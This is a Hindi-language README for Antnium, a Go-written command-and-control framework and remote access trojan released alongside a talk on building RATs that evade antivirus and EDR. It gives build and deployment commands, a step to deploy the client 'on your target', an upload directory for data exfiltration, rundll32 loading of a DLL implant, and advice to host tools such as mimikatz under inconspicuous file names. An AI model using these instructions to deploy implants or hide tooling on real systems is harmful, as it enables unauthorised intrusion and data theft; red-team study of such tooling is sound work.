
Go में प्रारंभिक पहुँच के लिए एक C2 फ्रेमवर्क
Anti Tanium
Go में लिखा गया एक C2 फ्रेमवर्क और RAT।
यह सोर्स कोड मेरी प्रस्तुति अपना खुद का RAT विकसित करें - AV & EDR रक्षा के संदर्भ के रूप में सार्वजनिक रूप से प्रकाशित किया गया है। Antnium मेरी अपनी आवश्यकताओं को पूरा करने के लिए अभिप्रेत था, दूसरों की नहीं। यह मेरे द्वारा किए गए अभियानों के लिए काम करता है, लेकिन जरूरी नहीं कि यह एक सामान्य C2 फ्रेमवर्क हो।
दो घटक हैं:
Go (और git) डाउनलोड और इंस्टॉल करें।
हम यहाँ 127.0.0.1:8080 को C2 डोमेन के रूप में उपयोग करते हैं (localhost, क्योंकि हम client.exe और server.exe दोनों को एक ही होस्ट पर शुरू करते हैं)। यह डिफ़ॉल्ट भी है, कुछ भी बदलने की आवश्यकता नहीं है।
campaign/campaign.go में अभियान जाँचें:
serverUrl = "http://127.0.0.1:8080"इसे विंडोज़ पर बिल्ड करें:
> .\makewin.bat deploy
इसे लिनक्स पर बिल्ड करें:
$ make deploy
सर्वर और क्लाइंट शुरू करें:
cd build\
.\server.exe
.\static\client.exe
server.exe शुरू करने के बाद ब्राउज़र में निम्न URL खोलकर WebUI तक पहुँचें:
http://localhost:8080/webui/
static/: टूल्स के लिए सार्वजनिक निर्देशिकावे फ़ाइलें वहाँ रखें जिन्हें आप अन्य मशीनों पर डाउनलोड करना चाहते हैं। जैसे client.exe, wingman.exe। और अपने टूल्स, जैसे mimikatz.exe, या seatbelt.exe। लेकिन कम ध्यान आकर्षित करने वाले फ़ाइल नामों का उपयोग करें।
फ़ाइलें /secure API के माध्यम से भी उपलब्ध हैं, जिसमें एन्क्रिप्टेड फ़ाइलनामों के साथ अनुरोध किया जाता है, और प्रतिक्रिया में एन्क्रिप्टेड+base64 एन्कोडेड फ़ाइल मिलती है।
dotNet फ़ाइलों को remote निष्पादन विकल्प का उपयोग करके निष्पादित किया जा सकता है (/secure के माध्यम से एक्सेस किया जाता है)।
upload/: डेटा एक्सफ़िल्ट्रेशन के लिए निजी निर्देशिकाक्लाइंट से फ़ाइल अपलोड वहाँ संग्रहीत होंगे।
Go इंस्टॉल करें:
apt install golang gcc-mingw-w64client.exe और server.exe कंपाइल करें:
> .\makewin.bat deploy
यह निम्न बनाएगा:
server.exe शुरू करें:
> cd build
> .\server.exe
Antnium 0.1
Loaded 0 packets from db.packets.json
Loaded 0 clients from db.clients.json
Periodic DB dump enabled
Starting webserver on 127.0.0.1:8080
client.exe शुरू करें:
> .\build\static\client.exe
Antnium 0.1
time="2021-09-02T21:48:16+02:00" level=info msg="UpstreamHttp: Use WS"
time="2021-09-02T21:48:16+02:00" level=info msg="Connecting to WS succeeded"
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
लिनक्स से विंडोज़ क्लाइंट कंपाइल करना काम करता है, लेकिन कुछ विंडोज़ निर्भरताओं के कारण कुछ मैनुअल GO gcc कमांड लाइन कौशल की आवश्यकता होती है। यदि यह तुरंत काम नहीं करता है, तो विंडोज़ क्लाइंट को विंडोज़ पर ही कंपाइल करें (makewin.bat client)।
pkg/campaign/campaign.go एक कंपाइल किए गए client.exe को एक विशिष्ट server.exe से जोड़ता है, जो एक अभियान बनाता है। एक अभियान में अलग-अलग एन्क्रिप्शन और प्रमाणीकरण कुंजियाँ होती हैं, जो सर्वर और क्लाइंट के बीच साझा की जाती हैं।
type Campaign struct {
ApiKey string // Key used to access client facing REST
EncKey []byte // Key used to encrypt packets between server/client
ServerUrl string // URL of the server, as viewed from the clients
}
और pkt/server/config.go में एडमिन UI / ऑपरेटर कुंजी:
type Config struct {
AdminApiKey string
}
ध्यान दें कि ServerUrl वह URL है जिसका उपयोग क्लाइंट सर्वर के साथ सभी इंटरैक्शन के लिए करता है। यह सार्वजनिक सर्वर URL है, जैसे http://totallynotmalware.ch। वास्तविक server.exe एक रिवर्स प्रॉक्सी के पीछे हो सकता है, और server.exe --listenaddr 127.0.0.1:8080 के साथ शुरू किया गया हो सकता है (इसलिए ServerUrl का listenaddr के बराबर होना आवश्यक नहीं है)।
पहली बार सर्वर से कनेक्ट करते समय, आपको पहले UI को एक्सेस और कॉन्फ़िगर करना होगा।
Angular UI फ़ाइलें सार्वजनिक रूप से एक्सेस करने योग्य हैं। मान लें कि ServerUrl="http://localhost:8080" है और listenaddr=0.0.0.0:8080 है। आप या तो:
http://localhost:8080/webui के रूप में उपलब्ध एकीकृत antniumui का उपयोग करेंng serve चलाएँ, और फिर अपने ब्राउज़र में http://localhost:4200 खोलेंब्राउज़र में UI से कनेक्ट करते समय, आपको पहले सर्वर IP और उसका पासवर्ड कॉन्फ़िगर करना होगा:
परीक्षण किया गया:
विंडोज़ पर कंपाइल करें:
> .\makewin.bat client
इसे अपने लक्ष्य पर तैनात करें।
परीक्षण किया गया:
लिनक्स पर:
$ make server
$ mkdir -p static upload
$ ./server --listenaddr 0.0.0.0:8080
परिणाम server.exe है। इसे उस निर्देशिका में चलाना सुनिश्चित करें जहाँ आपके पास या जहाँ आप अपेक्षा करते हैं:
यह उस पोर्ट पर एक REST सर्वर शुरू करेगा, जो निम्न प्रदान करता है:
/: क्लाइंट्स के लिए REST/ws: क्लाइंट्स के लिए Websocket/admin: एडमिन इंटरफ़ेस के लिए REST (पैकेट जोड़ें, क्लाइंट प्राप्त करें)/adminws: एडमिन इंटरफ़ेस के लिए Websocket (पैकेट पुश करें)/webui: एडमिन इंटरफ़ेस के लिए HTML फ़ाइलें (Angular सोर्स और html, REST और websocket एक्सेस करता है)इसके सामने एक रिवर्स प्रॉक्सी रखें (सुनिश्चित करें कि यह websockets का समर्थन करता है!) या पोर्ट फॉरवर्ड करें।
मैनुअल प्रॉक्सी के लिए, पूरा HTTP url उपयोग करें:
client.exe -proxy http://proxy:8080
या पर्यावरण चरों के माध्यम से:
export PROXY http://localhost:8080
./client
Wingman मूल रूप से क्लाइंट है, लेकिन C2 से सीधे कनेक्शन के बिना। यह localhost:50000 पर एक मौजूदा क्लाइंट से कनेक्ट हो सकता है (सुनिश्चित करें कि यह शुरू किया गया है, यदि Campaign.AutoStartDownstreams false है)
localhost पोर्ट 50000 से कनेक्ट करता है:
wingman.exe
या dll लोड करने के लिए rundll32.exe का उपयोग करें (system32 में 64 बिट rundll32 संस्करण, C:\Windows\SysWOW64\rundll32.exe में 32 बिट संस्करण नहीं):
C:\Windows\System32\rundll32.exe .\wingman.dll,Start
यह डाउनस्ट्रीम net#0 के रूप में दिखाई देगा।
go test ./...
अभी भी रेस कंडीशन हो सकती हैं। यदि यह एक बार विफल हो जाता है, तो इसे फिर से चलाएँ।